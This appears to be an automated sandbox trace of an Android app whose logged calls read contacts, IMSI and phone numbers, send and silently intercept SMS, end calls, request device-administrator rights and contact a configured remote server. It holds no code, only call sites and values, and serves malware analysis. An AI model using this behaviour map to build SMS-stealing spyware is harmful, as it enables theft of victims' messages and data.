API: android.content.Intent-><init> at com.example.adt.SMS.sendData:18 Show source
API: android.content.Intent-><init> at com.example.adt.SMS.sendData:23 Show source
API: android.app.PendingIntent->getBroadcast at com.example.adt.SMS.sendData:27 Show source
API: android.content.IntentFilter-><init> at com.example.adt.SMS.sendData:37 Show source
API: com.example.adt.CoreService->registerReceiver at com.example.adt.SMS.sendData:39 Show source
API: android.app.PendingIntent->getBroadcast at com.example.adt.SMS.sendData:43 Show source
API: android.telephony.SmsManager->sendTextMessage at com.example.adt.SMS.sendData:51 Show source
API: com.example.adt.SMS$1->getResultCode at ..:4 Show source
API: java.lang.Thread-><init> at ..:12 Show source
API: java.lang.Thread->start at ..:14 Show source
API: java.lang.Thread-><init> at ..:21 Show source
API: java.lang.Thread->start at ..:23 Show source
API: android.content.BroadcastReceiver-><init> at ..:4 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: com.example.adt.SMS$1->access$0 at com.example.adt.SMS$1$1.run:4 Show source
API: java.lang.String->trim at com.example.adt.SMS$1$1.run:9 Show source
API: java.lang.String->valueOf at com.example.adt.SMS$1$1.run:22 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.SMS$1$1.run:25 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:29 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:34 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:37 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:42 Show source
API: com.example.adt.SMS$1->access$0 at com.example.adt.SMS$1$1.run:47 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:52 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:57 Show source
API: java.lang.StringBuilder->toString at com.example.adt.SMS$1$1.run:60 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.SMS$1$1.run:68 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:70 Show source
API: java.lang.StringBuilder->toString at com.example.adt.SMS$1$1.run:73 Show source
API: java.io.PrintStream->println at com.example.adt.SMS$1$1.run:76 Show source
API: com.example.adt.SMS$1->access$0 at com.example.adt.SMS$1$2.run:4 Show source
API: java.lang.String->trim at com.example.adt.SMS$1$2.run:9 Show source
API: java.lang.String->valueOf at com.example.adt.SMS$1$2.run:22 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.SMS$1$2.run:25 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:29 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:34 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:37 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:42 Show source
API: com.example.adt.SMS$1->access$0 at com.example.adt.SMS$1$2.run:47 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:52 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:57 Show source
API: java.lang.StringBuilder->toString at com.example.adt.SMS$1$2.run:60 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.SMS$1$2.run:68 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:70 Show source
API: java.lang.StringBuilder->toString at com.example.adt.SMS$1$2.run:73 Show source
API: java.io.PrintStream->println at com.example.adt.SMS$1$2.run:76 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: java.lang.Thread->sleep at com.example.adt.SMS$2.run:13 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.SMS$2.run:20 Show source
API: java.lang.Integer->toString at com.example.adt.SMS$2.run:27 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$2.run:30 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$2.run:35 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$2.run:41 Show source
API: java.lang.StringBuilder->toString at com.example.adt.SMS$2.run:44 Show source
API: java.io.PrintStream->println at com.example.adt.SMS$2.run:47 Show source
API: java.lang.Thread-><init> at com.example.adt.SMS$2.run:79 Show source
API: java.lang.Thread->start at com.example.adt.SMS$2.run:81 Show source
API: java.lang.InterruptedException->printStackTrace at com.example.adt.SMS$2.run:85 Show source
API: java.lang.String->valueOf at com.example.adt.SMS$2$1.run:12 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.SMS$2$1.run:15 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$2$1.run:19 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$2$1.run:24 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMS$2$1.run:34 Show source
API: java.lang.StringBuilder->toString at com.example.adt.SMS$2$1.run:37 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.SMSReceiver.onReceive:10 Show source
API: com.example.adt.SMSReceiver->isOrderedBroadcast at com.example.adt.SMSReceiver.onReceive:12 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver.onReceive:15 Show source
API: java.lang.StringBuilder->toString at com.example.adt.SMSReceiver.onReceive:18 Show source
API: java.io.PrintStream->println at com.example.adt.SMSReceiver.onReceive:21 Show source
API: android.content.Intent->getExtras at com.example.adt.SMSReceiver.onReceive:23 Show source
API: android.os.Bundle->get at com.example.adt.SMSReceiver.onReceive:28 Show source
API: android.telephony.SmsMessage->createFromPdu at com.example.adt.SMSReceiver.onReceive:46 Show source
API: android.telephony.SmsMessage->getMessageBody at com.example.adt.SMSReceiver.onReceive:53 Show source
API: java.lang.String->trim at com.example.adt.SMSReceiver.onReceive:56 Show source
API: java.net.URLEncoder->encode at com.example.adt.SMSReceiver.onReceive:59 Show source
API: android.telephony.SmsMessage->getOriginatingAddress at com.example.adt.SMSReceiver.onReceive:63 Show source
API: java.lang.Integer->valueOf at com.example.adt.SMSReceiver.onReceive:83 Show source
API: java.lang.Integer->valueOf at com.example.adt.SMSReceiver.onReceive:86 Show source
API: java.lang.Integer->equals at com.example.adt.SMSReceiver.onReceive:89 Show source
API: java.lang.Thread-><init> at com.example.adt.SMSReceiver.onReceive:97 Show source
API: java.lang.Thread->start at com.example.adt.SMSReceiver.onReceive:99 Show source
API: com.example.adt.SMSReceiver->abortBroadcast at com.example.adt.SMSReceiver.onReceive:101 Show source
API: android.content.BroadcastReceiver-><init> at ..:2 Show source
API: java.lang.String->valueOf at com.example.adt.SMSReceiver$1.run:12 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.SMSReceiver$1.run:15 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:19 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:24 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:31 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:36 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:43 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:48 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:55 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:60 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:67 Show source
API: java.lang.StringBuilder->toString at com.example.adt.SMSReceiver$1.run:70 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.SMSReceiver$1.run:84 Show source
API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:86 Show source
API: java.lang.StringBuilder->toString at com.example.adt.SMSReceiver$1.run:89 Show source
API: java.io.PrintStream->println at com.example.adt.SMSReceiver$1.run:92 Show source
API: java.lang.Object-><init> at ..:4 Show source
Method: com.example.adt.MainActivity.onCreate:32 Show source
NameTypeValue
whoandroid.content.ComponentName
  • toString: ComponentInfo{com.example.adt/com.example.adt.LockReceiver}
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
Method: com.example.adt.MainActivity.onCreate:6 Show source
NameTypeValue
featureIdjava.lang.Integer
  • toString: 1
NameTypeValue
Return Valueandroid.util.AndroidRuntimeException
  • toString: android.util.AndroidRuntimeException: requestFeature() must be called before adding content
Method: com.example.adt.Config.get:11 Show source
NameTypeValue
p0java.lang.String
  • toString: serverip
p1java.lang.String
  • toString: http://www.slmoney.co.kr
NameTypeValue
Return Valuejava.lang.String
  • toString: http://www.slmoney.co.kr
Method: com.example.adt.Config.get:11 Show source
NameTypeValue
p0java.lang.String
  • toString: serverip
p1java.lang.String
  • toString: http://www.slmoney.co.kr
NameTypeValue
Return Valuejava.lang.String
  • toString: http://www.slmoney.co.kr
Method: com.example.adt.Contact.getPhoneContacts:17 Show source
NameTypeValue
p0android.net.Uri$HierarchicalUri
  • toString: content://com.android.contacts/data/phones
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@a0675ed0
  • Arrays.toString: [display_name, data1, photo_id, contact_id]
p2null
  • toString: null
p3null
  • toString: null
p4null
  • toString: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@a068a168
Method: com.example.adt.Contact.getPhoneContacts:17 Show source
NameTypeValue
p0android.net.Uri$HierarchicalUri
  • toString: content://com.android.contacts/data/phones
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@a0663510
  • Arrays.toString: [display_name, data1, photo_id, contact_id]
p2null
  • toString: null
p3null
  • toString: null
p4null
  • toString: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@a068f088
Method: com.example.adt.Contact.getPhoneContacts:17 Show source
NameTypeValue
p0android.net.Uri$HierarchicalUri
  • toString: content://com.android.contacts/data/phones
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@a06642f0
  • Arrays.toString: [display_name, data1, photo_id, contact_id]
p2null
  • toString: null
p3null
  • toString: null
p4null
  • toString: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@a0682700
Method: com.example.adt.App.alertBroadCast:13 Show source
Method: com.example.adt.App.alertBroadCast:17 Show source
Method: com.example.adt.MainActivity.activeManager:11 Show source
NameTypeValue
p0java.lang.String
  • toString: android.app.extra.DEVICE_ADMIN
p1android.content.ComponentName
  • toString: ComponentInfo{com.example.adt/com.example.adt.LockReceiver}
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
Method: com.example.adt.MainActivity.activeManager:17 Show source
NameTypeValue
p0java.lang.String
  • toString: android.app.extra.ADD_EXPLANATION
p1java.lang.String
  • toString: [UNREADABLE UNICODE]
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
Method: com.example.adt.Config.getPhoneNumber:9 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 136388846190534
Method: com.example.adt.Config.getPhoneNumber:9 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 136388846190534
Method: com.example.adt.Config.getPhoneNumber:9 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 852607195656783
Method: com.example.adt.Config.getPhoneNumber:9 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 463852237635273
Method: com.example.adt.Config.getIMSI:9 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 420509993185509
Method: com.example.adt.Config.getIMSI:9 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 696398736866155
Method: com.example.adt.PhoneListener.onReceive:25 Show source
Method: com.example.adt.CoreService.showNofity:11 Show source
Method: com.example.adt.PhoneListener.endCall:6 Show source
Method: com.example.adt.CoreService.NetWorkStatus:5 Show source
Method: com.example.adt.Config.getIMSI:5 Show source
NameTypeValue
p0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a069a2c0
Method: com.example.adt.Config.getPhoneNumber:5 Show source
NameTypeValue
p0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a069a2c0
Method: com.example.adt.Config.getPhoneNumber:5 Show source
NameTypeValue
p0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067a750
Method: com.example.adt.Config.getIMSI:5 Show source
NameTypeValue
p0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067a750
Method: com.example.adt.Config.getPhoneNumber:5 Show source
NameTypeValue
p0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067a750
Method: com.example.adt.Config.getPhoneNumber:5 Show source
NameTypeValue
p0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a06b98b0
Method: com.example.adt.Config.getIMSI:5 Show source
NameTypeValue
p0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a06b98b0
Method: com.example.adt.SMS.sendData:39 Show source
Method: com.example.adt.CoreService.onCreate:99 Show source
NameTypeValue
p0com.example.adt.CoreService$MyBroadcastReciver
  • toString: com.example.adt.CoreService$MyBroadcastReciver@a067b0a8
p1android.content.IntentFilter
  • toString: android.content.IntentFilter@a067ac38
  • getAction0: app.gx3.alert
  • getAction1: app.dwonload.complate
  • getAction2: app.auto.install
  • getAction3: alert.main
NameTypeValue
Return Valuenull
  • toString: null
Method: com.example.adt.CoreService.onCreate:99 Show source
NameTypeValue
p0com.example.adt.CoreService$MyBroadcastReciver
  • toString: com.example.adt.CoreService$MyBroadcastReciver@a067be88
p1android.content.IntentFilter
  • toString: android.content.IntentFilter@a067ba18
  • getAction0: app.gx3.alert
  • getAction1: app.dwonload.complate
  • getAction2: app.auto.install
  • getAction3: alert.main
NameTypeValue
Return Valuenull
  • toString: null
Method: com.example.adt.MainActivity.onCreate:18 Show source
NameTypeValue
namejava.lang.String
  • toString: device_policy
NameTypeValue
Return Valueandroid.app.admin.DevicePolicyManager
  • toString: android.app.admin.DevicePolicyManager@a06854f8
Method: com.example.adt.Config.getPhoneNumber:5 Show source
NameTypeValue
namejava.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067c620
Method: com.example.adt.MainActivity.activeManager:19 Show source
NameTypeValue
intentandroid.content.Intent
  • toString: Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
Method: com.example.adt.MainActivity.onCreate:44 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=com.example.adt/.CoreService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.example.adt/com.example.adt.CoreService}
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:92 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:184 Show source
Method: com.example.adt.PhoneListener.onReceive:78 Show source
Method: com.example.adt.PhoneListener.onReceive:103 Show source
Method: com.example.adt.SMSReceiver.onReceive:21 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:119 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:215 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:234 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:253 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:314 Show source
Method: com.example.adt.SMS$1$2.run:76 Show source
Method: com.example.adt.App.changeApk:16 Show source
Method: com.example.adt.SMSReceiver$1.run:92 Show source
Method: com.example.adt.LockReceiver.onReceive:10 Show source
Method: com.example.adt.Connect.getHttpConnection:67 Show source
Method: com.example.adt.SMS$1$1.run:76 Show source
Method: com.example.adt.LockReceiver.onEnabled:8 Show source
Method: com.example.adt.Config.getFileSizes:28 Show source
Method: com.example.adt.CoreService.onCreate:65 Show source
Method: com.example.adt.CoreService$MyRunnable.run:26 Show source
Method: com.example.adt.Contact$1.run:92 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:53 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:107 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:134 Show source
Method: com.example.adt.App$1.run:95 Show source
Method: com.example.adt.CoreService.autoChangeApk:17 Show source
Method: com.example.adt.PhoneListener$1.run:75 Show source
Method: com.example.adt.SMS$2.run:47 Show source
Method: com.example.adt.Config.getAPNType:40 Show source
Method: com.example.adt.LockReceiver.onDisabled:8 Show source
Method: com.example.adt.CoreService.uninstallAPK:16 Show source
Method: com.example.adt.MainActivity.onCreate:50 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:74 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:106 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:139 Show source
Method: com.example.adt.PhoneListener.onReceive:60 Show source
Method: com.example.adt.PhoneListener.onReceive:95 Show source
Method: com.example.adt.SMSReceiver.onReceive:10 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:12 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:32 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:111 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:205 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:279 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:304 Show source
Method: ..:14 Show source
Method: com.example.adt.SMS$1$2.run:25 Show source
Method: com.example.adt.SMS$1$2.run:68 Show source
Method: com.example.adt.App.changeApk:8 Show source
Method: com.example.adt.SMSReceiver$1.run:15 Show source
Method: com.example.adt.SMSReceiver$1.run:84 Show source
Method: com.example.adt.Connect.getHttpConnection:50 Show source
Method: com.example.adt.Contact.getPhoneContacts:58 Show source
Method: com.example.adt.SMS$1$1.run:25 Show source
Method: com.example.adt.SMS$1$1.run:68 Show source
Method: com.example.adt.FileUtils.<init>:7 Show source
Method: com.example.adt.App.autoChangeApps:42 Show source
Method: ..:10 Show source
Method: com.example.adt.Config.<clinit>:19 Show source
Method: com.example.adt.Config.<clinit>:36 Show source
Method: com.example.adt.CoreService$MyRunnable.run:18 Show source
Method: com.example.adt.Contact$1.run:29 Show source
Method: com.example.adt.Contact$1.run:84 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:42 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:70 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:96 Show source
Method: com.example.adt.DownLoad.downLoadFile:13 Show source
Method: com.example.adt.DownLoad.downLoadFile:43 Show source
Method: ..:10 Show source
Method: com.example.adt.App$1.run:15 Show source
Method: com.example.adt.App$1.run:87 Show source
Method: com.example.adt.CoreService.autoChangeApk:9 Show source
Method: com.example.adt.CoreService.autoChangeApk:37 Show source
Method: com.example.adt.CoreService.autoChangeApk:66 Show source
Method: com.example.adt.CoreService.autoChangeApk:111 Show source
Method: com.example.adt.PhoneListener$1.run:20 Show source
Method: com.example.adt.PhoneListener$1.run:67 Show source
Method: ..:15 Show source
Method: com.example.adt.SMS$2.run:20 Show source
Method: com.example.adt.CoreService$HTRunnable.run:68 Show source
Method: com.example.adt.CoreService$HTRunnable.run:88 Show source
Method: com.example.adt.CoreService$HTRunnable.run:135 Show source
Method: com.example.adt.CoreService$HTRunnable.run:184 Show source
Method: com.example.adt.App.getApps:67 Show source
Method: com.example.adt.App.getApps:122 Show source
Method: com.example.adt.App.getApps:153 Show source
Method: ..:13 Show source
Method: com.example.adt.Config.getAPNType:29 Show source
Method: com.example.adt.App.hasApp:41 Show source
Method: com.example.adt.Config.configPath:12 Show source
Method: com.example.adt.CoreService.uninstallAPK:8 Show source
Method: com.example.adt.CoreService.uninstallAPK:21 Show source
Method: com.example.adt.SMS$2$1.run:15 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:78 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:110 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:143 Show source
Method: com.example.adt.PhoneListener.onReceive:64 Show source
Method: com.example.adt.PhoneListener.onReceive:69 Show source
Method: com.example.adt.PhoneListener.onReceive:72 Show source
Method: com.example.adt.PhoneListener.onReceive:97 Show source
Method: com.example.adt.SMSReceiver.onReceive:15 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:36 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:41 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:48 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:53 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:60 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:65 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:68 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:113 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:209 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:286 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:308 Show source
Method: ..:16 Show source
Method: com.example.adt.SMS$1$2.run:29 Show source
Method: com.example.adt.SMS$1$2.run:34 Show source
Method: com.example.adt.SMS$1$2.run:37 Show source
Method: com.example.adt.SMS$1$2.run:42 Show source
Method: com.example.adt.SMS$1$2.run:52 Show source
Method: com.example.adt.SMS$1$2.run:57 Show source
Method: com.example.adt.SMS$1$2.run:70 Show source
Method: com.example.adt.App.changeApk:10 Show source
Method: com.example.adt.SMSReceiver$1.run:19 Show source
Method: com.example.adt.SMSReceiver$1.run:24 Show source
Method: com.example.adt.SMSReceiver$1.run:31 Show source
Method: com.example.adt.SMSReceiver$1.run:36 Show source
Method: com.example.adt.SMSReceiver$1.run:43 Show source
Method: com.example.adt.SMSReceiver$1.run:48 Show source
Method: com.example.adt.SMSReceiver$1.run:55 Show source
Method: com.example.adt.SMSReceiver$1.run:60 Show source
Method: com.example.adt.SMSReceiver$1.run:67 Show source
Method: com.example.adt.SMSReceiver$1.run:86 Show source
Method: com.example.adt.Connect.getHttpConnection:52 Show source
Method: com.example.adt.Connect.getHttpConnection:57 Show source
Method: com.example.adt.Contact.getPhoneContacts:62 Show source
Method: com.example.adt.Contact.getPhoneContacts:65 Show source
Method: com.example.adt.Contact.getPhoneContacts:70 Show source
Method: com.example.adt.Contact.getPhoneContacts:73 Show source
Method: com.example.adt.SMS$1$1.run:29 Show source
Method: com.example.adt.SMS$1$1.run:34 Show source
Method: com.example.adt.SMS$1$1.run:37 Show source
Method: com.example.adt.SMS$1$1.run:42 Show source
Method: com.example.adt.SMS$1$1.run:52 Show source
Method: com.example.adt.SMS$1$1.run:57 Show source
Method: com.example.adt.SMS$1$1.run:70 Show source
Method: com.example.adt.FileUtils.<init>:12 Show source
Method: com.example.adt.FileUtils.<init>:17 Show source
Method: com.example.adt.App.autoChangeApps:49 Show source
Method: com.example.adt.App.autoChangeApps:54 Show source
Method: com.example.adt.App.autoChangeApps:61 Show source
Method: com.example.adt.App.autoChangeApps:66 Show source
Method: ..:12 Show source
Method: com.example.adt.Config.<clinit>:23 Show source
Method: com.example.adt.Config.<clinit>:40 Show source
Method: com.example.adt.CoreService$MyRunnable.run:20 Show source
Method: com.example.adt.Contact$1.run:33 Show source
Method: com.example.adt.Contact$1.run:38 Show source
Method: com.example.adt.Contact$1.run:41 Show source
Method: com.example.adt.Contact$1.run:46 Show source
Method: com.example.adt.Contact$1.run:59 Show source
Method: com.example.adt.Contact$1.run:64 Show source
Method: com.example.adt.Contact$1.run:67 Show source
Method: com.example.adt.Contact$1.run:86 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:47 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:74 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:101 Show source
Method: com.example.adt.DownLoad.downLoadFile:17 Show source
Method: com.example.adt.DownLoad.downLoadFile:47 Show source
Method: com.example.adt.DownLoad.downLoadFile:50 Show source
Method: ..:12 Show source
Method: com.example.adt.App$1.run:19 Show source
Method: com.example.adt.App$1.run:24 Show source
Method: com.example.adt.App$1.run:38 Show source
Method: com.example.adt.App$1.run:43 Show source
Method: com.example.adt.App$1.run:57 Show source
Method: com.example.adt.App$1.run:62 Show source
Method: com.example.adt.App$1.run:76 Show source
Method: com.example.adt.App$1.run:89 Show source
Method: com.example.adt.CoreService.autoChangeApk:11 Show source
Method: com.example.adt.CoreService.autoChangeApk:39 Show source
Method: com.example.adt.CoreService.autoChangeApk:70 Show source
Method: com.example.adt.CoreService.autoChangeApk:115 Show source
Method: com.example.adt.PhoneListener$1.run:24 Show source
Method: com.example.adt.PhoneListener$1.run:29 Show source
Method: com.example.adt.PhoneListener$1.run:36 Show source
Method: com.example.adt.PhoneListener$1.run:41 Show source
Method: com.example.adt.PhoneListener$1.run:44 Show source
Method: com.example.adt.PhoneListener$1.run:49 Show source
Method: com.example.adt.PhoneListener$1.run:56 Show source
Method: com.example.adt.PhoneListener$1.run:69 Show source
Method: ..:17 Show source
Method: com.example.adt.SMS$2.run:30 Show source
Method: com.example.adt.SMS$2.run:35 Show source
Method: com.example.adt.SMS$2.run:41 Show source
Method: com.example.adt.CoreService$HTRunnable.run:188 Show source
Method: com.example.adt.CoreService$HTRunnable.run:193 Show source
Method: com.example.adt.CoreService$HTRunnable.run:200 Show source
Method: com.example.adt.CoreService$HTRunnable.run:205 Show source
Method: com.example.adt.CoreService$HTRunnable.run:212 Show source
Method: com.example.adt.CoreService$HTRunnable.run:217 Show source
Method: com.example.adt.CoreService$HTRunnable.run:223 Show source
Method: com.example.adt.CoreService$HTRunnable.run:228 Show source
Method: com.example.adt.CoreService$HTRunnable.run:234 Show source
Method: com.example.adt.CoreService$HTRunnable.run:239 Show source
Method: com.example.adt.CoreService$HTRunnable.run:246 Show source
Method: com.example.adt.CoreService$HTRunnable.run:251 Show source
Method: com.example.adt.CoreService$HTRunnable.run:258 Show source
Method: com.example.adt.CoreService$HTRunnable.run:263 Show source
Method: com.example.adt.CoreService$HTRunnable.run:270 Show source
Method: com.example.adt.CoreService$HTRunnable.run:275 Show source
Method: com.example.adt.CoreService$HTRunnable.run:282 Show source
Method: com.example.adt.CoreService$HTRunnable.run:287 Show source
Method: com.example.adt.CoreService$HTRunnable.run:294 Show source
Method: com.example.adt.CoreService$HTRunnable.run:299 Show source
Method: com.example.adt.CoreService$HTRunnable.run:306 Show source
Method: com.example.adt.CoreService$HTRunnable.run:311 Show source
Method: com.example.adt.CoreService$HTRunnable.run:318 Show source
Method: com.example.adt.App.getApps:74 Show source
Method: com.example.adt.App.getApps:79 Show source
Method: com.example.adt.App.getApps:86 Show source
Method: com.example.adt.App.getApps:91 Show source
Method: com.example.adt.App.getApps:126 Show source
Method: com.example.adt.App.getApps:132 Show source
Method: com.example.adt.App.getApps:157 Show source
Method: com.example.adt.App.getApps:163 Show source
Method: ..:15 Show source
Method: com.example.adt.Config.getAPNType:34 Show source
Method: com.example.adt.App.hasApp:48 Show source
Method: com.example.adt.App.hasApp:53 Show source
Method: com.example.adt.App.hasApp:60 Show source
Method: com.example.adt.App.hasApp:65 Show source
Method: com.example.adt.Config.configPath:16 Show source
Method: com.example.adt.CoreService.uninstallAPK:10 Show source
Method: com.example.adt.CoreService.uninstallAPK:26 Show source
Method: com.example.adt.SMS$2$1.run:19 Show source
Method: com.example.adt.SMS$2$1.run:24 Show source
Method: com.example.adt.SMS$2$1.run:34 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:81 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:113 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:146 Show source
Method: com.example.adt.PhoneListener.onReceive:75 Show source
Method: com.example.adt.PhoneListener.onReceive:100 Show source
Method: com.example.adt.SMSReceiver.onReceive:18 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:14 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:71 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:116 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:212 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:289 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:311 Show source
Method: ..:19 Show source
Method: com.example.adt.SMS$1$2.run:60 Show source
Method: com.example.adt.SMS$1$2.run:73 Show source
Method: com.example.adt.App.changeApk:13 Show source
Method: com.example.adt.SMSReceiver$1.run:70 Show source
Method: com.example.adt.SMSReceiver$1.run:89 Show source
Method: com.example.adt.Connect.getHttpConnection:60 Show source
Method: com.example.adt.Contact.getPhoneContacts:76 Show source
Method: com.example.adt.SMS$1$1.run:60 Show source
Method: com.example.adt.SMS$1$1.run:73 Show source
Method: com.example.adt.FileUtils.<init>:20 Show source
Method: com.example.adt.App.autoChangeApps:69 Show source
Method: ..:15 Show source
Method: com.example.adt.Config.<clinit>:26 Show source
Method: com.example.adt.Config.<clinit>:43 Show source
Method: com.example.adt.CoreService$MyRunnable.run:23 Show source
Method: com.example.adt.Contact$1.run:70 Show source
Method: com.example.adt.Contact$1.run:89 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:50 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:77 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:104 Show source
Method: com.example.adt.DownLoad.downLoadFile:20 Show source
Method: com.example.adt.DownLoad.downLoadFile:53 Show source
Method: ..:15 Show source
